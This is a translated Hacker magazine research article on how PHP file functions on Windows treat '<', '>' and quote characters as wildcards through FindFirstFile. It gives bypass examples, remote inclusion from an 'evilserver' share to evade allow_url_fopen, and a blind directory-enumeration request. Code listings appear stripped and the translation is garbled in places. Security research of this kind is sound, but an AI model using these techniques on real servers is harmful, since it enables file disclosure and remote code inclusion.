New file access vulnerabilities in PHP

    Some year ago, everyone simply went crazy with Error-based MySQL, and unserialize seemed something complicated and not encountered in real life. Now these are already classic techniques. What can we say about dinosaurs such as null bytes in inclusions, which was replaced by file name truncated. Researchers are constantly digging up something, coming up with, and in the meantime, new versions of interpreters and engines are already coming out, and with them new bugs of developers.
    In fact, there are three methods to find a vulnerability: ingenuity (when a researcher comes up with a trick and checks to see if it works in practice), source code analysis, and fuzzing. For one interesting Chinese fuzzing and its development, for my part, I want to tell.

    Feature List and Test Results

    Fuzzing is not only valuable fur ...

    It all started with the fact that Google ordered the issuance I don’t remember what request and showed the site in Chinese: , where many interesting finds of Chinese fuzzers were collected. Interestingly, the list contained very recent finds that had just been published in articles. Among them was a code of the following content that caught my attention:
    He attracted me because I didn’t understand the meaning, but he made out the familiar win32 characters in the description :). Translating Chinese writing was a strange entertainment even with google.translate, so I stupidly executed this code under Windows and looked at the result. What was my surprise when it was discovered that the file in Windows had at least 4 names: 1.phP, 1.php,>, <. Now, Chinese writing did not seem so far away to me, and Google's translator helped to understand its meaning. Actually, in this very “sense” there was nothing more than a description of the code and the result of its work. Not that it’s not thick - in any way! This state of affairs did not suit me. I still don’t understand these Chinese - really, it wasn’t interesting for them to understand what functions are still vulnerable, what features this operation bug has during operation, and finally

    I demand the continuation of the banquet!

    The first thing I did was add a second iterator and run the fuzzy code on the last two bytes. The results were unpredictable:
    1.p<0 (нуль-байт на конце)
    1.p<  (пробел на конце)
    Laws were clearly visible from here - at the end of the file name there could be characters: period, double quote, space, zero-byte. To test this hunch, I ran the following code:
    As you might guess, he returned 1337, that is, everything worked as predicted. This in itself was already an extension of the symbols of a popular vulnerability, an alternative to null byte in inclusions. After continuing to mock the interpreter, we found file name constructions with slashes at the ends, which were also read without problems:
    I think everything is clear here: if you use slashes after the file name, then there should always be a period at the end. In this case, slashes can be mixed, and between them you can stick one point.
    With all this, the main thing was unclear - what do the symbols <and> hide?

    Great and powerful WINAPI

    As I quickly realized, fuzzing does not understand the nature of this error. There were two options left: to look at sorts or to trace calls. Both of these methods pretty quickly pointed to the same thing - calling the FindFirstFile function. At the same time, the call passed on the stack with the replacement of the character> by?, And <by *, the double quote was replaced by a dot. It was also very fun to notice that, despite the replacement, <did not always work like * in the file mask, but << always worked out well. At the same time, both calls were exactly the same on the stack, but gave different results (see the figure). Now it is completely clear where the legs grow from. And the legs really grew from F under the name MS.

    Use of MSDN

    Now it remained to be understood whether this behavior of the FindFirstFile function is normal, or whether a bug occurs here. I started looking for the answer to this question with the documentation: .
    The documentation itself did not say anything about the characters> <", but in the comments ...
    Bug ?!
    The characters of '<' and '>' are treated like wildcard by this function.

    [MSFT] - these are listed in the Naming A File topic as illegal characters in path and file names. That topic is being updated to make this clearer.


    Mark Amos - MSFT
    That is, this bug was known back in 2007! And the manufacturer’s response was generally shocking with its content ... No comment :). On this, it seems, the reason for this behavior of PHP became finally clear. You could begin to expand the scope of this bug. Having tried various options, re-read a bunch of documentation (MSDN is really very useful) and tried hundreds of ideas, I discovered a number of rules that work for file names in WIN-systems. Moreover, the bug in FindFirstFile contributes only to the first four of them (we do not consider the zero point). Also, looking ahead, I will say that the vulnerability concerns not only the file_get_contents function:
    1. Symbols * and? do not work in file names when calling FindFirstFile via PHP (filtered).
    2. The character <is replaced when calling FindFirstFile with *, that is, a mask of any number of any characters. In this case, cases were found when this does not work correctly (see picture). For a guaranteed mask *, use <<.
      Example: include ('shell <') will include the shell * file, and if more than one file falls under the mask, the one that comes earlier in the alphabet will be connected.
    3. The> character is replaced when calling FindFirstFile with?, That is, any single character.
      Example : include ('shell.p> p') will include the shell.p? P file, and if more than one file falls under the mask, the one that comes earlier in alphabetical order will be connected.
    4. The character "is replaced when a FindFirstFile is called with a period.
      Example: include ('shell“ php') is equivalent to include ('shell.php').
    5. If the first character in the file name is a dot, then you can read the file by name without regard to this dot.
      Example: fopen ("htaccess") is equivalent to fopen (". Htaccess"), and more sophisticatedly, using item 1, fopen ("h <<"). Since the second letter “a” is in the file name, then alphabetically he will most likely be the first.
    6. At the end of file names, you can use sequences of slashes of one or different types (forward and reverse), between which you can put one dot, and at the end there should always be a dot, and not ", but the real one.
      Example: fopen (" ")
    7. You can use network names starting with \\ followed by any character other than a period. This is obvious and has been known to everyone for a long time. I’ll only add that if the network name does not exist, then the operation with the file takes an extra 4 seconds, which contributes to the expiration of the time and the error max_execution_time (see the article “ Gulchat, open the face ”). It also allows you to bypass allow_url_fopen = Off and do RFI.
      Example: include ('\\ evilserver \ shell.php')
    8. You can use extended names starting with \\. \, Which makes it possible to switch between drives in the file name.
      Example: include ('\\. \ C: \ my \ file.php \ .. \ .. \ .. \ D: \ anotherfile.php').
    9. You can use alternate disk name syntax to bypass slash filtering.
      Example: file_get_contents ('C: boot.ini') is equivalent to file_get_contents ('C: /boot.ini')
    10. You can use short DOS-compatible file and directory names. This is a dupe, I do not argue. But I draw your attention to the fact that if the directory contains more than four files whose names are shorter than three characters, then such names will be supplemented with four hex characters. Similarly, the file name will be changed if there are more than four files in the directory whose names begin with the same two first letters.
      Specifically, if more than four files use the same six-character root, additional file names are created by combining the first two characters of the file name with a four-character hash code and then appending a unique designator. A directory could have files named MYFAVO ~ 1.DOC, MYFAVO ~ 2.DOC, MYFAVO ~ 3.DOC, and MYFAVO ~ 4.DOC. Additional files with this root could be named MY3140 ~ 1.DOC, MY40C7 ~ 1.DOC, and MYEACC ~ 1.DOC.
      Example: in.conf has a DOS name IND763 ~ 1.CON, that is, it can be read with the line file_get_contents ('<
    11. In PHP, under the command line environment (not mod_php, but php.exe), the specifics of files with the reserved names aux, con, prn, com1-9, lpt1-9 work.
      Example: file_get_contents ('C: /tmp/con.jpg') will endlessly read null bytes from the CON device, waiting for EOF.
      Example: file_put_contents ('C: /tmp/con.jpg',chr (0x07)) will be sounded by the server speaker (music :)).
    I advise you to cut out all the items and hang in a frame in a conspicuous place. It will not be superfluous :).

    We play counting

    I simply could not believe the Chinese in the signature under fuzzing that the vulnerability concerns only file_get_contents, if only because I remembered the PHP sources a little. Without thinking twice, I checked all the functions that I remembered regarding working with files. The results were more than positive.
    Vulnerability is present in functions:
    Not present in:
    There is where to roam, is not it? But this is not so bad.

    PoC: ideas for use

    Obviously, this vulnerability can be used to bypass all possible filters and restrictions. For example, for the .htaccess file, the alternative name will be h << (see section 4, point 1). Two-character files can generally be read without a name (see clause 9.). Well and so on. There is another, no less interesting application - the definition of folder and file names.
    Consider an example:
    Using this code, you can very easily get a list of web server directories.
    We send the request test.php? A = .. / a <% 00 and get an answer of the form
    Warning: include(/images/../a<) [function.include]: failed to open stream: Invalid argument in ...
    Warning: include(/images/../a<) [function.include]:  failed to open stream: Permission denied ...
    In the first case, the server did not find a single directory starting with the letter “a” in the root, in the second - found.
    Next, you can start the selection of the second letter and so on. To speed up, you can use phonetics (see the article “Faster, higher and faster again. Revolutionary approaches to the operation of SQL injections” ). The good old technique of exploiting blind SQL injection works.
    During the experiments, it was noticed that sometimes the server immediately displays the found path in the error message. Then you have to select only if the directories start with the same character. What the conclusion of the error depends on, I did not have time to figure it out and leave it to the public for trial.

    Lyrical digression

    It is gratifying to note that the Magician also found a report from the Chinese, who published it among others in the article “Little-known methods of attacking web applications” as early as April 19, but there was no explanation or emphasis on this vulnerability, there was only a Chinese example, from which I started.


    Honestly, I really wanted to find an alternative to null byte, but in vain. But this vulnerability opens up scope for other, no less interesting attacks. In fact, providing the ability to search for directories and files through the functions of working with files. This is a unique phenomenon in itself. Be that as it may, respect to the Chinese with their fuzzing, but I urge them and everyone else to explore the raw data obtained in this way. Fuzzing is fuzzing, but you have to think with your head.

    Useful links:
    Hacker magazine, February (02) 145
    Vladimir “d0znp” Vorontsov

    Subscribe to “Hacker"

    Also popular now: